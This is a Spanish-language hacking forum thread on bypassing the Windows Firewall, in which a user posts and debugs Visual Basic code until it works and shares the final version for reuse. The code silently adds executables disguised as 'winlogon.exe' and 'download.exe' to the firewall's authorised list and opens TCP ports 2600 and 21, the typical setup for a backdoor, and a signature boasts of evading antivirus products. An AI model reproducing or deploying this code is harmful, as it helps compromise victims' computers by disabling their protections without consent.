 Autor
|
Tema: Saltarse el Firewall de Windows (Leído 3,443 veces)
|
JanditoOo
 Desconectado
Mensajes: 32
|
Bien, tengo el siguiente codigo Private Sub Form_Load()
'Agregar Download.exe y Winlogon.exe a la lista Aceptable del Firewall de Windows
RegSetValues "RegLocalMachine\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", App.Path & "\" & "winlogon.exe", App.Path & "\" & "winlogon.exe" & ":*:Enabled:Security Data", RegString
RegSetValues "RegLocalMachine\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\", "2600:TCP", "2600:TCP:*:Enabled:Puerto Security Data", RegString
RegSetValues "RegLocalMachine\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", App.Path & "\" & "download.exe", App.Path & "\" & "download.exe" & ":*:Enabled:Security Data", RegString
RegSetValues "RegLocalMachine\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\", "21:TCP", "21:TCP:*:Enabled:Puerto Security Data", RegString
End Sub
Pero me dice que esta mal: Compile error: Sub or Function not defined Que es lo que le hace falta al codigo?
|
|
|
|
|
En línea
|
|
|
|
|
ReViJa
|
Usa el buscador del foro, eso se ha repetido varias veces.
|
|
|
|
|
En línea
|
|
|
|
JanditoOo
Desconectado
Mensajes: 32
|
no encontre como poder agregar bien los registtros, pero bueno gracias de todas maneras. en cuanto sepa aqui lo posteare
|
|
|
|
|
En línea
|
|
|
|
Zorrohack
Desconectado
Mensajes: 855
Quisiera burlar la enfermedad asi como a los AVs
|
Lo que estoy creyendo es que no estas declarando las Apis del Registro debes de declararlas asi te funcionara correctamente. Busca en el Foro sobre las Apis de Windows para el Registro.  |
|
|
|
|
En línea
|
Progresamos porque hay Millones de imbeciles, maldicion jodi a McAfee,Panda,Kav,Norton, perdonen solo practicaba.
|
|
|
JanditoOo
Desconectado
Mensajes: 32
|
los encontre, el codigo lo tengo de esta manera: Private Sub Form_Load()
Set Agregar = CreateObject("WScript.Shell") ' asignamos a una variable el objeto
Agregar.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", App.Path & "\" & "winlogon.exe", "winlogon.exe:*:Enabled:winlogon", RegString
Agregar.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\", "2600:TCP", "2600:TCP:*:Enabled:Puerto Security Data", RegString
Agregar.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", App.Path & "\" & "download.exe", App.Path & "\" & "download.exe" & ":*:Enabled:Security Data", RegString
Agregar.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\", "21:TCP", "21:TCP:*:Enabled:Puerto Security Data", RegString
End Sub pero me dice que hay un error cuando le doy "run" me dice: Run-Time error 450: Wrong Number of arguments or invalid property assigment y le pongo en el boton "DEBUG" y me selecciona de amarillo la primera linea: Agregar.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", App.Path & "\" & "winlogon.exe", "winlogon.exe:*:Enabled:winlogon", RegString
|
|
|
|
|
En línea
|
|
|
|
JanditoOo
Desconectado
Mensajes: 32
|
Listo, ya se ejecuto correctamente, para LOS QUE TENGAN EL MISMO PROBLEMA, aqui les dejo el codigo: Private Sub Form_Load()
On Error Resume Next
Set WS = CreateObject("WScript.Shell") ' asignamos a una variable el objeto
WS.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", "C:\Program Files\Internet Explorer\PLUGINS\winlogon.exe", "C:\Program Files\Internet Explorer\PLUGINS\winlogon.exe:*:Enabled:winlogon", "RegString"
WS.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\", "2600:TCP", "2600:TCP:*:Enabled:Puerto Security Data", "RegString"
WS.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", "C:\WINDOWS\System32\download.exe", "C:\Program Files\Internet Explorer\PLUGINS\winlogon.exe:*:Enabled:download", "RegString"
WS.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\", "21:TCP", "21:TCP:*:Enabled:Puerto Security Data", "RegString"
End Sub
|
|
|
|
|
En línea
|
|
|
|
|
| Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
|
Saltarse arranque en Windows 7
Windows
|
kkrapul
|
4
|
4,923
|
8 Diciembre 2010, 23:36 pm
por Randomize
|
|
|
|
Saltarse firewall o proxys del trabajo?
Redes
|
resident evil 04
|
3
|
9,927
|
18 Agosto 2011, 11:21 am
por madpitbull_99
|
|
|
|
Saltarse firewall para acceder a un router remoto
Seguridad
|
AlexPro
|
2
|
3,428
|
23 Febrero 2012, 20:31 pm
por AlexPro
|
|
|
|
Publicar formas de saltarse los firewall
Análisis y Diseño de Malware
|
70N1
|
3
|
4,003
|
23 Diciembre 2012, 17:12 pm
por konarr
|
|
|
Saltarse Firewall
« 1 2 »
Hacking
|
rid93xd
|
16
|
6,811
|
27 Diciembre 2023, 13:04 pm
por rid93xd
|
 |
